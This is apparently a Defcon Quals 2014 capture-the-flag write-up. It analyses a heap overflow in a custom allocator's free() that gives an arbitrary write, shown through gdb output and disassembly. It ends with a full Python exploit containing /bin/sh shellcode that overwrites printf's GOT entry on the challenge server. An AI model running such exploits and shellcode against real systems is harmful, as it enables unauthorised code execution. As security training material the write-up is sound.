Tuesday, May 20, 2014

Defcon Quals 2014 - Baby's First - Heap - [Team SegFault]

The 32-bit ELF allocates heap using sbrk() and then calls mprotect() to make is executable. One object of size 260 bytes can be overflowed.
[root@renorobert Defcon2014]# python -c 'print "A"*3000' | ./babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c 

Welcome to your first heap overflow...
I am going to allocate 20 objects...
Using Dougle Lee Allocator 2.6.1...

Exit function pointer is at 804C8AC address.
[ALLOC][loc=907F4F0][size=1 121]
Write to object [size=260]:
Copied 3001 bytes.
Segmentation fault (core dumped)
gdb-peda$ x/i $eip
=> 0x80493ca <free+229>: mov    eax,DWORD PTR [eax]
gdb-peda$ info registers 
eax            0x4a495594 0x4a495594
ecx            0x907f004 0x907f004
edx            0x41414140 0x41414140
ebx            0x30aff4 0x30aff4
esp            0xffd9b690 0xffd9b690
ebp            0xffd9b6c8 0xffd9b6c8
esi            0x0 0x0
edi            0x0 0x0
eip            0x80493ca 0x80493ca <free+229>
eflags         0x10202 [ IF RF ]
cs             0x23 0x23
ss             0x2b 0x2b
ds             0x2b 0x2b
es             0x2b 0x2b
fs             0x0 0x0
gs             0x63 0x63
gdb-peda$ x/x $ebp-0x20
0xffd9b6a8: 0x09081454
gdb-peda$ p/x 0x4a495594-0x09081454
$1 = 0x41414140

gdb-peda$ x/x 0x09081454
0x9081454: 0x41414140
0x09081454 points to object [ALLOC][loc=9081058][size=755].
gdb-peda$ x/4x 0x9081350-4
0x908134c: 0x00000108 0x41414141 0x41414141 0x41414141
At obj-4 resides the metadata, which is size of object. The metadata of adjacent object is overflowed, and free(0x9081350) uses this metadata. Below is the disassembly that can lead to write anything anywhere primitive using the overflowed data.
.text:080493BF    mov     eax, [ebp+var_20] ; address of next allocated object
.text:080493C2    mov     eax, [eax]  ; addr pointed by EAX(size) is overwritten due to overflow in 260 bytes object
.text:080493C4    and     eax, 0FFFFFFFEh
.text:080493C7    add     eax, [ebp+var_20] ; address of next allocated object + size
.text:080493CA    mov     eax, [eax]        ; crash here  -> Out of bound read
.text:080493CC    and     eax, 1
.text:080493CF    test    eax, eax
.text:080493D1    jnz     short loc_8049402 ; skip this jump
.text:080493D3    mov     eax, [ebp+var_20] 
.text:080493D6    mov     eax, [eax]  
.text:080493D8    and     eax, 0FFFFFFFEh
.text:080493DB    add     [ebp+size], eax  
.text:080493DE    mov     eax, [ebp+var_20]
.text:080493E1    mov     eax, [eax+8]  ; next_obj+8
.text:080493E4    mov     [ebp+header], eax
.text:080493E7    mov     eax, [ebp+var_20]
.text:080493EA    mov     eax, [eax+4]  ; next_obj+4
.text:080493ED    mov     [ebp+header2], eax
.text:080493F0    mov     eax, [ebp+header2]
.text:080493F3    mov     edx, [ebp+header]
.text:080493F6    mov     [eax+8], edx     ; arbitrary write here
.text:080493F9    mov     eax, [ebp+header]
.text:080493FC    mov     edx, [ebp+header2]
.text:080493FF    mov     [eax+4], edx     ; another write
[root@renorobert Defcon2014]# python -c 'import struct;print "A"*260 + struct.pack("<I", 0x1) + "BBBBCCCC"' | ./babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c
gdb-peda$ x/10i $eip
=> 0x80493f6 <free+273>: mov    DWORD PTR [eax+0x8],edx
   0x80493f9 <free+276>: mov    eax,DWORD PTR [ebp-0x24]
   0x80493fc <free+279>: mov    edx,DWORD PTR [ebp-0x28]
   0x80493ff <free+282>: mov    DWORD PTR [eax+0x4],edx
   0x8049402 <free+285>: mov    eax,DWORD PTR [ebp-0xc]
   0x8049405 <free+288>: mov    eax,DWORD PTR [eax]
   0x8049407 <free+290>: and    eax,0x1
   0x804940a <free+293>: mov    edx,eax
   0x804940c <free+295>: or     edx,DWORD PTR [ebp-0x10]
   0x804940f <free+298>: mov    eax,DWORD PTR [ebp-0xc]
gdb-peda$ info registers 
eax            0x42424242 0x42424242
ecx            0x8689004 0x8689004
edx            0x43434343 0x43434343
ebx            0x30aff4 0x30aff4
esp            0xffde0cc0 0xffde0cc0
ebp            0xffde0cf8 0xffde0cf8
esi            0x0 0x0
edi            0x0 0x0
eip            0x80493f6 0x80493f6 <free+273>
eflags         0x10206 [ PF IF RF ]
cs             0x23 0x23
ss             0x2b 0x2b
ds             0x2b 0x2b
es             0x2b 0x2b
fs             0x0 0x0
gs             0x63 0x63
[*] At 0x80493f6, [header+8] is overwritten with user supplied value of header2
[*] At 0x80493ff, [header2+4] is overwritten user suppled value of header

Exploitation is trivial:
[*] Set header to GOT address of printf - 8
[*] Set header2 to address of object which holds the address our shellcode
[*] During free(), the GOT of printf() is overwritten with address of shellcode
[*] During the next call to printf() before free() is called, shellcode is executed

Below is the full exploit:
#!/usr/bin/env python

import struct
import telnetlib
import re

host = 'babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c.2014.shallweplayaga.me'
host = ''
port = 4088
con = telnetlib.Telnet(host, port)

# http://shell-storm.org/shellcode/files/shellcode-752.php
nop = "\x90" * 30
shellcode = nop + "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" 

gotprintf = 0x0804c004

t = con.read_until('Write to object [size=260]:')
print t

addr_objc = re.search("\[ALLOC\]\[loc=([a-fA-F\d]{7})\]\[size=260\]",t)
addr_objc = int(addr_objc.groups()[0],16)

payload  = "\x90\x90\xeb\x1c" # jmp patch 
payload += shellcode +  "A"* (260 - len(payload) - len(shellcode))
payload += struct.pack("<I", 0x1)
payload += struct.pack("<I", gotprintf - 8)
payload += struct.pack("<I", addr_objc)
con.write(payload + "\n")
Flag for the challenge is Good job on that doubly linked list. Why don't you try something harder!!OMG!!

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